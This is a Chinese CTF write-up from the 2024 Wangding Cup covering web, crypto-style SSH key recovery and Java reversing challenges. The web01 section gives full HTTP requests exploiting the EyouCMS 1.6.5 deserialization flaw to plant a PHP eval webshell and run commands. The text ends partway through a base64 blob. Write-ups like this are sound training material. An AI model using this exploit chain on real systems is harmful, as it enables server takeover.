网鼎杯 2024 Writeup

本次第四届”网鼎杯”网络安全大赛，我们 Polaris 战队排名第31。

Web

web01

小明在对某单位系统进行测试中发现了安全漏洞，想进一步利用，但始终无法成功，请你帮忙分析原因，并对漏洞进行利用。

eyoucms2 v1.6.5

CVE-2024-3431｜EyouCMS 反序列化漏洞（POC）

在后台组件文件/login.php?m=admin&c=Field&a=channel_edit中,通过channel_id参数进行反序列化，可远程执行命令。

0x03 影响版本

EyouCMS 1.6.5

A vulnerability was found in EyouCMS 1.6.5. It has been declared as critical. This vulnerability affects unknown code of the file /login.php?m=admin&c=Field&a=channel_edit of the component Backend. The manipulation of the argument channel_id leads to deserialization. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-259612. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

EyouCMS 1.6.5 中发现漏洞。它已被宣布为关键。该漏洞影响组件Backend的文件/login.php?m=admin&c=Field&a=channel_edit的未知代码。对参数channel_id的操作会导致反序列化。攻击可以远程发起。该漏洞已向公众披露并可能被使用。该漏洞的标识符为VDB-259612。注意：我们很早就就此事联系了供应商，但没有以任何方式做出回应。

然后本地解压文件发现

INSERT INTO `ey_admin` 
VALUES ('1', 'admin', '', 'admin', '', '', 
'$2y$11$1840758dbeae6c4bcdb09e3kntDwymHZ32evuTAvfl7/ExveakGDK', '', 
'1706510877', '127.0.0.1', '2', 
'v493bcd147nciohl1sg35sa51n', '0', '-1', 'cn', '1', '0', '', '0', '', '1706510871', '0');

密码是admin，admin

访问后台login.php进行登录

检索发现复现文章：https://cn-sec.com/archives/2640154.html

首先创建

POST /login.php?m=admin&c=Field&a=arctype_add&_ajax=1&lang=cn HTTP/1.1
Host: 0192f66a8e327eb7891b1a4257600b2d.1nna.dg06.ciihw.cn:46518
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 55
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=2bfb45da95fa3fc88c0ae3532e6b8f31; admin_lang=cn; home_lang=cn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; workspaceParam=welcome%7CIndex
Origin: http://0192f4df302a7f1aa886cfabed315f94.croq.dg02.ciihw.cn:43221
Referer: http://0192f4df302a7f1aa886cfabed315f94.croq.dg02.ciihw.cn:43221/login.php?m=admin&c=Arctype&a=ajax_newtpl&lang=cn&type=lists&nid=single
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest

title=poc3&name=poc3&dtype=region&dfvalue=1&remark=&typeids%5B%5D=0&channel_id=-99

首先创建然后访问返回的

获取id为541

修改这个请求包的id为541

POST /login.php?m=admin&c=Field&a=arctype_edit&_ajax=1&lang=cn HTTP/1.1
Host: 0192f66a8e327eb7891b1a4257600b2d.1nna.dg06.ciihw.cn:46518
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 55
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=2bfb45da95fa3fc88c0ae3532e6b8f31; admin_lang=cn; home_lang=cn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; workspaceParam=welcome%7CIndex
Origin: http://0192f4df302a7f1aa886cfabed315f94.croq.dg02.ciihw.cn:43221
Referer: http://0192f4df302a7f1aa886cfabed315f94.croq.dg02.ciihw.cn:43221/login.php?m=admin&c=Arctype&a=ajax_newtpl&lang=cn&type=lists&nid=single
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest

title=poc3&name=poc3&old_dtype=region&dfvalue=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A6%3A%22append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A5%3A%22error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A1%3A%7Bs%3A5%3A%22query%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A6%3A%22styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A16%3A%22removeWhereField%22%3B%7Ds%3A6%3A%22handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A7%3A%22handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A3%3A%22tag%22%3Bs%3A1%3A%22t%22%3Bs%3A7%3A%22options%22%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A68%3A%22php%3A%2F%2Ffilter%2Fstring.rot13%2Fresource%3D%3C%3Fcuc+%40riny%28%24_TRG%5B_%5D%29%3B%3F%3E%2F..%2Fa.php%22%3B%7D%7D%7D%7D%7D%7D%7D%7D&old_dfvalue=1&remark=&typeids%5B%5D=0&channel_id=-99&id=541&old_name=poc3&dtype[]=region

然后触发，发现返回为500

GET /login.php?m=admin&c=Field&a=channel_edit&channel_id=-99&id=541&_ajax=1 HTTP/1.1
Host: 0192f529f5bc7e978b187e11c5966bdd.inha.dg06.ciihw.cn:43648  
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 55
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=2fe71cddaa0bffed548fd96630d7a6d9; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; workspaceParam=welcome%7CIndex
Origin: http://0192f4df302a7f1aa886cfabed315f94.croq.dg02.ciihw.cn:43221
Referer: http://0192f4df302a7f1aa886cfabed315f94.croq.dg02.ciihw.cn:43221/login.php?m=admin&c=Arctype&a=ajax_newtpl&lang=cn&type=lists&nid=single
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest

触发成功，访问shell

GET /a.php617ac73525b333bea4ac35a717dd8b0a.php?_=system%28%27cat+%2Ff*%27%29%3B HTTP/1.1
Host: 0192f529f5bc7e978b187e11c5966bdd.inha.dg06.ciihw.cn:43648
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 55
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=b3b0628a5ae47586d424be60141f356d; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; workspaceParam=welcome%7CIndex
Origin: http://0192f4df302a7f1aa886cfabed315f94.croq.dg02.ciihw.cn:43221
Referer: http://0192f4df302a7f1aa886cfabed315f94.croq.dg02.ciihw.cn:43221/login.php?m=admin&c=Arctype&a=ajax_newtpl&lang=cn&type=lists&nid=single
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest

获得flag

web03

扫目录，robots.txt提示有bmp和用户名/密码

bmp用web43open解密得到下面的东西

RW_IHZ.KFY>HHS-IHZ AAAAB3NzaC1yc2EAAAADAQABAAABAHqSISYfkwuFeX20KTtyDhpG/nmyMK5MrmjKILUbLxpEtgw+4i0sIR4sWtNpGSVAMLZ4YO8EY6p7FBw0z4u0ALo2qC8I763lfKlNXH1WHWexRHd72MEpxpOzt79ukabEr7OWpRdDEISj3MyEalVNYGTKMt/TQWR/dnFd+TsDB2aRDBQQq9VfQhZ9Z864huQ4Du8PKg42plzfRPJsEhe4JpE0GW5QRap9ZNHM/4fSSHJlwqbBqGdeIjw+U7zY/RokxK979+f7SN6qMc9FzAUTnbwFGLpZe4ohz4pPJNrmRKfERTSKDoXw1krdDZuEZzCgiprpR8WqLvGoDXhYstcrgWU=

后面这段base64解码得到
Pasted image 20241104151249.png

截取….ssh-rsa….之后的内容

Pasted image 20241104151257.png

0x10001很明显是e，那后面大概率就是n。发现n能用yafu分解

Pasted image 20241104151308.png

import gmpy2

e = 0x10001
n = int("7a 92 21 26 1f 93 0b 85 79 7d b4 29 3b 72 0e 1a 46 fe 79 b2 30 ae 4c ae 68 ca 20 b5 1b 2f 1a 44 b6 0c 3e e2 2d 2c 21 1e 2c 5a d3 69 19 25 40 30 b6 78 60 ef 04 63 aa 7b 14 1c 34 cf 8b b4 00 ba 36 a8 2f 08 ef ad e5 7c a9 4d 5c 7d 56 1d 67 b1 44 77 7b d8 c1 29 c6 93 b3 b7 bf 6e 91 a6 c4 af b3 96 a5 17 43 10 84 a3 dc cc 84 6a 55 4d 60 64 ca 32 df d3 41 64 7f 76 71 5d f9 3b 03 07 66 91 0c 14 10 ab d5 5f 42 16 7d 67 ce b8 86 e4 38 0e ef 0f 2a 0e 36 a6 5c df 44 f2 6c 12 17 b8 26 91 34 19 6e 50 45 aa 7d 64 d1 cc ff 87 d2 48 72 65 c2 a6 c1 a8 67 5e 22 3c 3e 53 bc d8 fd 1a 24 c4 af 7b f7 e7 fb 48 de aa 31 cf 45 cc 05 13 9d bc 05 18 ba 59 7b 8a 21 cf 8a 4f 24 da e6 44 a7 c4 45 34 8a 0e 85 f0 d6 4a dd 0d 9b 84 67 30 a0 8a 9a e9 47 c5 aa 2e f1 a8 0d 78 58 b2 d7 2b 81 65".replace(" ",""),16)

p = 124391046068661849479368048442368264528688137061859889420748135089530711531982879099228365579453507914971808645098707899792342947071605270753221189146520461936329644320307671256282476976106892669621936765657513838321041373894048138250076354093023213535042038834560618477692450327056145702068970492978556584563
q = n // p
d = gmpy2.invert(65537,(p-1)*(q-1))

print(f"d = {hex(d)[2:]}")

"""
d = 124d63b9c799336d38d8f65ff9ca6c24ac592f5ed63a10a5326c8c39bed767babedc513f80b34836b334d4c0aaca8f2d36f1feb7721657cc8d1231289499ca4a04035512a68776ef0870ced0c05d1fb0aea290d1aaf64bfa9e295fe268c958314c45c05d1adc8a91d5548ca93c1793bf391a23a5edebcdc4a7e4fa643f6d89790647e186b078fe61bc439e83ef21c211bfb1f1753431568a743d0b4590786c96ec41f4e18b0423baf757906eedd809151c7cf746e05007cfa3fe9767c349c99c0aa90cddb54489f02b26ac3677ec99dd11f5ae72414199455fd0bf360f33d256f586d09ab0fbe1c6917ec7f10fcd3a5c90621b460ad5c13ca1dabcba220b91f9
"""

拿到d之后生成私钥文件

import gmpy2
from Crypto.PublicKey import RSA

e = 0x10001
n = int("7a 92 21 26 1f 93 0b 85 79 7d b4 29 3b 72 0e 1a 46 fe 79 b2 30 ae 4c ae 68 ca 20 b5 1b 2f 1a 44 b6 0c 3e e2 2d 2c 21 1e 2c 5a d3 69 19 25 40 30 b6 78 60 ef 04 63 aa 7b 14 1c 34 cf 8b b4 00 ba 36 a8 2f 08 ef ad e5 7c a9 4d 5c 7d 56 1d 67 b1 44 77 7b d8 c1 29 c6 93 b3 b7 bf 6e 91 a6 c4 af b3 96 a5 17 43 10 84 a3 dc cc 84 6a 55 4d 60 64 ca 32 df d3 41 64 7f 76 71 5d f9 3b 03 07 66 91 0c 14 10 ab d5 5f 42 16 7d 67 ce b8 86 e4 38 0e ef 0f 2a 0e 36 a6 5c df 44 f2 6c 12 17 b8 26 91 34 19 6e 50 45 aa 7d 64 d1 cc ff 87 d2 48 72 65 c2 a6 c1 a8 67 5e 22 3c 3e 53 bc d8 fd 1a 24 c4 af 7b f7 e7 fb 48 de aa 31 cf 45 cc 05 13 9d bc 05 18 ba 59 7b 8a 21 cf 8a 4f 24 da e6 44 a7 c4 45 34 8a 0e 85 f0 d6 4a dd 0d 9b 84 67 30 a0 8a 9a e9 47 c5 aa 2e f1 a8 0d 78 58 b2 d7 2b 81 65".replace(" ",""),16)

p = 124391046068661849479368048442368264528688137061859889420748135089530711531982879099228365579453507914971808645098707899792342947071605270753221189146520461936329644320307671256282476976106892669621936765657513838321041373894048138250076354093023213535042038834560618477692450327056145702068970492978556584563
q = n // p
d = gmpy2.invert(65537,(p-1)*(q-1))

key = (n,e,int(d))
privatekey = RSA.construct(key)

with open("privatekey.pem","wb") as f:
    f.write(privatekey.export_key())

私钥文件长这样

用私钥ssh连接就有flag

Pasted image 20241104150744.png

RE

reverse02

使用jd-gui打开

发现了LiII11lIiI有一串密文

然后我们寻找的时候

发现AbstractHashMap.newMap

进行查看

发现key为Y4SuperSecretKey加密方式为 SecretKeySpec key = new SecretKeySpec(LiLiLLLiiiLLiiLLi.getBytes(CHARSET), "AES");

我们写了一个脚本循环编译获取flag

import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.Base64;

public class BBB {
    private static ArrayList<String> GIiIiLA = new ArrayList<>();
    static {
        GIiIiLA.add("lD0pdU19mlA1xzNMZScMow==");
        GIiIiLA.add("vHTdmhywhmrERttY0v8WPA==");
        GIiIiLA.add("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